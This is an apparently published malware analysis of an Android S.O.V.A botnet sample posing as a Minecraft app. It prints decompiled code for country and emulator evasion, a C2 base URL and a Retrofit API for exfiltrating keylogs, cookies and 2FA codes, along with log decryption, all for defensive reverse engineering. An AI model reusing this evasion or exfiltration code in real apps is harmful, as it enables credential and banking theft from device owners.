Eyes on Android/S.O.V.A botnet sample

Malware Analysis
1

Summary

  • Sample c1642ac3f729701223043b16ac2c6c5f64adc7080f474c181067b0f1335218f2
  • Poses as a Minecraft app
  • Malicious Android/S.O.V.A botnet client
  • Packed
  • Implemented in Kotlin
  • Uses Retrofit2 for communication with C2
  • The C2 is down currently

An excellent analysis here.

I try to highlight different aspects:

  1. How to unpack with Medusa
  2. How the malware sets up on first launch
  3. How to reverse Retrofit2 communications
  4. Support for encrypted logs

Unpacking with Medusa

This sample is packed, and can be unpacked with Medusa, using memory_dump/dump_dex.

Medusa is capturing the payload DEX in classes2.dex

The main activity is com.nslah.ieg.tzzi.hkb.ui.LauncherActivity.

Startup Flow: from main entry point to malicious work

The entire startup mechanism begins from checkCountry. It ensures the malware does not run on phones of CIS by checking country + presence of 2 common apps in those countries: Sberbank Mobile and Tinkoff. See explanation here. However, the check for the 2 apps does far more than just what it names says. Notice the call to startApp().

protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.checkCountry();
    }
...
private static final void checkCountry$checkForSngPackages(LauncherActivity this$0) {
        Timber.d("Checking installed packages", new Object[0]);
        List list0 = AppExtensionsKt.loadInstalledApps(this$0);
        if(!list0.contains("ru.sberbankmobile") && !list0.contains("com.idamob.tinkoff.android")) {
            this$0.startApp();
            return;
        }

        this$0.finish();
    }
...
 private final void startApp() {
        if(this.checkEmulator()) {
            this.finish();
        }

        Timber.d("startApp()", new Object[0]);
        this.prefsUtil.saveAccessibilityRequestTime(System.currentTimeMillis() + this.prefsUtil.getAccessibilityRequestTimeDEFAULT());
        this.prefsUtil.savePermissionsRequestTime(System.currentTimeMillis() + this.prefsUtil.getPermissionsRequestTimeDEFAULT());
        if(this.prefsUtil.isFirstLaunch()) {
            this.prefsUtil.initHideSms();
            ServiceExtensionsKt.startRequestService$default(this, "first_launch", null, 2, null);
            ServiceExtensionsKt.startGrantAccessibilityActivity(this);
        }

        ServiceExtensionsKt.startGlobalManagingService(this);
        ServiceExtensionsKt.startCBService(this);
        this.startService(new Intent(this, MiHoldService.class));
        if(SystemAccessExtensionsKt.isAccessibilityEnabled(this)) {
            this.finish();
        }
    }

The first thing startApp is anti-emulation (call to isEmulator). It checks for the presence of generic names in product brand, fingerprint etc. This can be bypassed by Medusa’s device_cloaking helper script.

public static final boolean isEmulator() {
        String s = Build.BRAND;
        Intrinsics.checkNotNullExpressionValue(s, "BRAND");
        if(StringsKt.startsWith$default(s, "generic", false, 2, null)) {
            String s1 = Build.DEVICE;
            Intrinsics.checkNotNullExpressionValue(s1, "DEVICE");
            if(StringsKt.startsWith$default(s1, "generic", false, 2, null)) {
                return true;
            }
...

On first launch, the malware:

  • Says hello to the C2 hxxp://re184edek1nslloaj1fhdskl13asdrf.xyz/api?method=bots.new&botid=BOTID&botip=IPADDRESS&sdkVersion=SDKVERSION etc
  • Asks the end-user to provide accessibility rights.

Then, 2 services are started: GlobalManagingService and CBWatcherService. CBWatcherService grabs cryptocurrency addresses from the clipboard for currencies like Bitcoin, Ethereum, Binance coin, Tron. See here for details.

GlobalManagingService does quite a couple of things:

this.registerScreenReceiver();
this.registerPhoneUnlockReceiver();
this.startCounterCoroutine();
this.startServerPingCoroutine();
  • register a receiver that monitors when the screen is on or off, and prevents phone from being locked when the screen is off
 public void onReceive(Context context, Intent intent) {
        String s = intent == null ? null : intent.getAction();
        if(Intrinsics.areEqual(s, "android.intent.action.SCREEN_ON")) {
            GlobalManagingService.this.setScreenOn(true);
            return;
        }

        if(Intrinsics.areEqual(s, "android.intent.action.SCREEN_OFF")) {
            GlobalManagingService.this.setScreenOn(false);
            GlobalManagingService.this.setPhoneLocked(true);
        }
    }
  • register a receiver that prevents the smartphone from being locked
public void onReceive(Context context, Intent intent) {
        GlobalManagingService.this.setPhoneLocked(false);
    }
  • counter coroutine: tell the C2 if the smartphone is rooted or not, open the SMS application, hide the malware from the list of apps, request accessibility settings if needed + create a notification asking end-user to add accessibility
  • ping coroutine: ping the C2

How to find the malicious C2 URL and REST API in Retrofit2 blurb

The malware uses the Retrofit2 library. This is a common, genuine (non-malicious) library to handle REST API in Android applications.

The URL of the C2 is found in the malware’s com.nslah.ieg.tzzi.hkb.data.network.RetrofitClient.

 RetrofitClient.serverApi = (ServerApi)retrofit$Builder0.baseUrl("http://re184edek1nslloaj1fhdskl13asdrf.xyz/").addConverterFactory(GsonConverterFactory.create()).build().create(ServerApi.class);

The REST API is implemented in com.nslah.ieg.tzzi.hkb.data.network.ServerApi:

public interface ServerApi{
...
    @FormUrlEncoded
    @POST("/logpost.php")
    Object log(@Field("botid") String arg1, @Field("text") String arg2, Continuation arg3);

    @GET("/api")
    Object send2FA(@Query("method") String arg1, @Query("botid") String arg2, @Query("codes") String arg3, Continuation arg4);

    @FormUrlEncoded
    @POST("/testpost.php")
    Call sendCookie(@Field("botid") String arg1, @Field("inputLog") String arg2, @Field("cookie") String arg3);

    @GET("/api")
    Object sendFirst(@Query("method") String arg1, @QueryMap Map arg2, Continuation arg3);

    @FormUrlEncoded
    @POST("/keylog.php")
    Call sendKeyLog(@Field("botid") String arg1, @Field("inputLog") String arg2);

    @GET("/api")
    Object sendPing(@Query("method") String arg1, @QueryMap Map arg2, Continuation arg3);

    @GET("/api")
    Object sendRequests(@Query("method") String arg1, @QueryMap Map arg2, Continuation arg3);

    @GET("/api")
    Object sendRoot(@Query("method") String arg1, @Query("botid") String arg2, @Query("root") String arg3, Continuation arg4);
}
  • The base URL is returned by a method such as getServerApi(). Actually, there are several different APIs: a DDoS API, a Country Check API etc but they are not implemented yet (point to www.google.com).
  • The entry point is referenced by the decorator e.g. @GET("/api") means the malware will go to BASE_URL/api.
  • The fields are referenced by @Query for an optional field or @Field when mandatory. e.g. to send a ping to C2, the URL will be BASE_URL/api/?method=xxx…

The communication with the C2 is handled by a service named RequestService. For example, the code below handles requests sent at first launch of the malware.

    if(s.equals("first_launch")) {
        this.logger.log("Event first launch. Version: 4");
        Function1 function10 = new RequestService.onStartCommand.1(this, startId);
        this.retrofitUtil.sendFirstLaunch(function10);
        return 3;
    }

A few sample URLs are listed in the Relations Tab of VirusTotal.

SOVA requests

Timber logs with encryption support

Logs are handled by Timber, which is a legitimate and common Android logger. The following logs the smartphone’s country.

    Timber.d(Encrypt.TDE(("IP country code: " + s)), new Object[0]);

Log encryption is supported. In that case, the input is a Base64 string. The code decodes the Base64 string and is expected to find something like RC4_KEY:::CIPHERTEXT.The RC4 key is extracted from the 8 first bytes and used to decrypt the ciphertext.

byte[] arr_b = Base64.decode(txt, 0);
if(arr_b.length > 11) {
    if(!new String(new byte[]{arr_b[8], arr_b[9], arr_b[10]}, StandardCharsets.UTF_8).equals(":::")) {
       return txt;
    }

    SecretKeySpec key = new SecretKeySpec(arr_b, 0, 8, "RC4");
    Cipher cipher0 = Cipher.getInstance("RC4");
    cipher0.init(2, key);
    return new String(cipher0.doFinal(arr_b, 11, arr_b.length - 11));
}

— Cryptax

Article Link: Eyes on Android/S.O.V.A botnet sample | by @cryptax | Jul, 2023 | Medium